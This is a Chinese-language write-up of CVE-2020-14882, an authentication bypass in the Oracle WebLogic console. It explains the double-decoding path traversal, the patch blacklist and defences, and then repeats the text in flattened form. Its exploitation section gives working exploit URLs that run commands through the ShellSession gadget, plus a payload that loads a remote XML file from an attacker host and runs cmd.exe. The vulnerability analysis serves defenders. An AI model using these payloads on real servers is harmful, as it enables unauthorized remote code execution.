CVE-2020-14882 WebLogic越权绕过登录分析
字数 1386 2025-08-15 21:32:26

CVE-2020-14882 WebLogic越权绕过登录漏洞分析与利用

漏洞概述

CVE-2020-14882是Oracle WebLogic Server中的一个严重安全漏洞,允许攻击者绕过管理控制台的身份验证,直接访问后台资源并执行任意代码。该漏洞影响WebLogic 10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4和14.1.1.0版本。

漏洞原理分析

权限控制机制

WebLogic管理控制台的权限控制主要通过以下流程实现:

  1. 请求处理入口weblogic.servlet.internal.WebAppServletContext#doSecuredExecute方法负责处理HTTP请求的安全检查
  2. 权限检查:调用context.getSecurityManager().checkAccess()方法进行权限验证
  3. 资源约束检查:通过WebAppSecurity#getConstraint()方法获取ResourceConstraint对象,描述URL访问权限
  4. 授权决策:最终在WebAppSecurity#hasPermission方法中根据ResourceConstraint决定是否允许访问

对于静态资源(如CSS、JS文件),WebLogic会返回unrestrictedResourceConstraint,允许无认证访问。

漏洞成因

漏洞的核心在于URL双重解码路径遍历的结合:

  1. 双重URL解码

    • 第一层解码:HTTP服务器对URL进行标准解码
    • 第二层解码:UIServletInternal#getTree方法中的URLDecoder.decode对已解码的URL再次解码
  2. 路径遍历绕过

    • 攻击者使用双重编码的../%252E%252E%252F
    • 第一次解码后变为%2E%2E%2F
    • 第二次解码后变为../
    • StandardURLMapping#get方法中匹配静态资源路径,但实际访问的是管理控制台路径

关键代码分析

// 权限检查入口
if(context.getSecurityManager().checkAccess(req, rsp, applyAuthFilters, false)) {
    // 允许访问
}

// 资源约束获取
ResourceConstraint resourceConstraint = checkAllResources ? 
    Holder.ALL_CONSTRAINT : this.getConstraint(request);

// URL匹配逻辑(StandardURLMapping#get)
public Object get(String path) {
    path = path.length() == 0 ? "/" : this.cased(path);
    Object value = null;
    if((value = this.getExactOrPathMatch(path)) != null) {
        return value;
    } else {
        return (value = this.getExtensionMatch(path)) != null ? value : this.getDefault();
    }
}

漏洞利用

WebLogic 12.x利用

使用com.tangosol.coherence.mvel2.sh.ShellSession gadget执行命令:

http://[target]:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc.exe');");

WebLogic 10.x利用

由于10.x版本缺少相关gadget,需使用FileSystemXmlApplicationContext加载远程XML:

http://[target]:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://[attacker]/spel.xml")

远程XML示例(spel.xml):

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
            <list>
                <value>cmd.exe</value>
                <value>/c</value>
                <value>calc.exe</value>
            </list>
        </constructor-arg>
        <property name="redirectErrorStream" value="true"/>
    </bean>
    <bean id="is" class="java.io.InputStream" factory-bean="pb" factory-method="getInputStream"/>
</beans>

补丁分析

Oracle通过黑名单方式修复此漏洞,在weblogic.servlet.internal.WebAppServletContext类中添加了危险字符检查:

private static final String[] IllegalUrl = new String[] {
    "%252E%252E", "%2E%2E", "..", "%3C", "%3E", "<", ">"
};

如果URL包含这些危险字符,请求将被直接拒绝。

防御建议

  1. 及时安装Oracle官方补丁
  2. 限制WebLogic管理控制台的网络访问
  3. 使用Web应用防火墙(WAF)拦截包含%252E%252E等恶意字符串的请求
  4. 定期进行安全审计和漏洞扫描

总结

CVE-2020-14882漏洞利用WebLogic的URL双重解码特性和路径遍历漏洞,绕过身份验证检查。攻击者通过精心构造的URL使系统误判请求为静态资源访问,从而绕过权限检查。该漏洞危害性高,可导致远程代码执行,需引起高度重视。

CVE-2020-14882 WebLogic越权绕过登录漏洞分析与利用 漏洞概述 CVE-2020-14882是Oracle WebLogic Server中的一个严重安全漏洞,允许攻击者绕过管理控制台的身份验证,直接访问后台资源并执行任意代码。该漏洞影响WebLogic 10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4和14.1.1.0版本。 漏洞原理分析 权限控制机制 WebLogic管理控制台的权限控制主要通过以下流程实现: 请求处理入口 : weblogic.servlet.internal.WebAppServletContext#doSecuredExecute 方法负责处理HTTP请求的安全检查 权限检查 :调用 context.getSecurityManager().checkAccess() 方法进行权限验证 资源约束检查 :通过 WebAppSecurity#getConstraint() 方法获取 ResourceConstraint 对象,描述URL访问权限 授权决策 :最终在 WebAppSecurity#hasPermission 方法中根据 ResourceConstraint 决定是否允许访问 对于静态资源(如CSS、JS文件),WebLogic会返回 unrestricted 的 ResourceConstraint ,允许无认证访问。 漏洞成因 漏洞的核心在于 URL双重解码 和 路径遍历 的结合: 双重URL解码 : 第一层解码:HTTP服务器对URL进行标准解码 第二层解码: UIServletInternal#getTree 方法中的 URLDecoder.decode 对已解码的URL再次解码 路径遍历绕过 : 攻击者使用双重编码的 ../ ( %252E%252E%252F ) 第一次解码后变为 %2E%2E%2F 第二次解码后变为 ../ 在 StandardURLMapping#get 方法中匹配静态资源路径,但实际访问的是管理控制台路径 关键代码分析 漏洞利用 WebLogic 12.x利用 使用 com.tangosol.coherence.mvel2.sh.ShellSession gadget执行命令: WebLogic 10.x利用 由于10.x版本缺少相关gadget,需使用 FileSystemXmlApplicationContext 加载远程XML: 远程XML示例(spel.xml): 补丁分析 Oracle通过黑名单方式修复此漏洞,在 weblogic.servlet.internal.WebAppServletContext 类中添加了危险字符检查: 如果URL包含这些危险字符,请求将被直接拒绝。 防御建议 及时安装Oracle官方补丁 限制WebLogic管理控制台的网络访问 使用Web应用防火墙(WAF)拦截包含 %252E%252E 等恶意字符串的请求 定期进行安全审计和漏洞扫描 总结 CVE-2020-14882漏洞利用WebLogic的URL双重解码特性和路径遍历漏洞,绕过身份验证检查。攻击者通过精心构造的URL使系统误判请求为静态资源访问,从而绕过权限检查。该漏洞危害性高,可导致远程代码执行,需引起高度重视。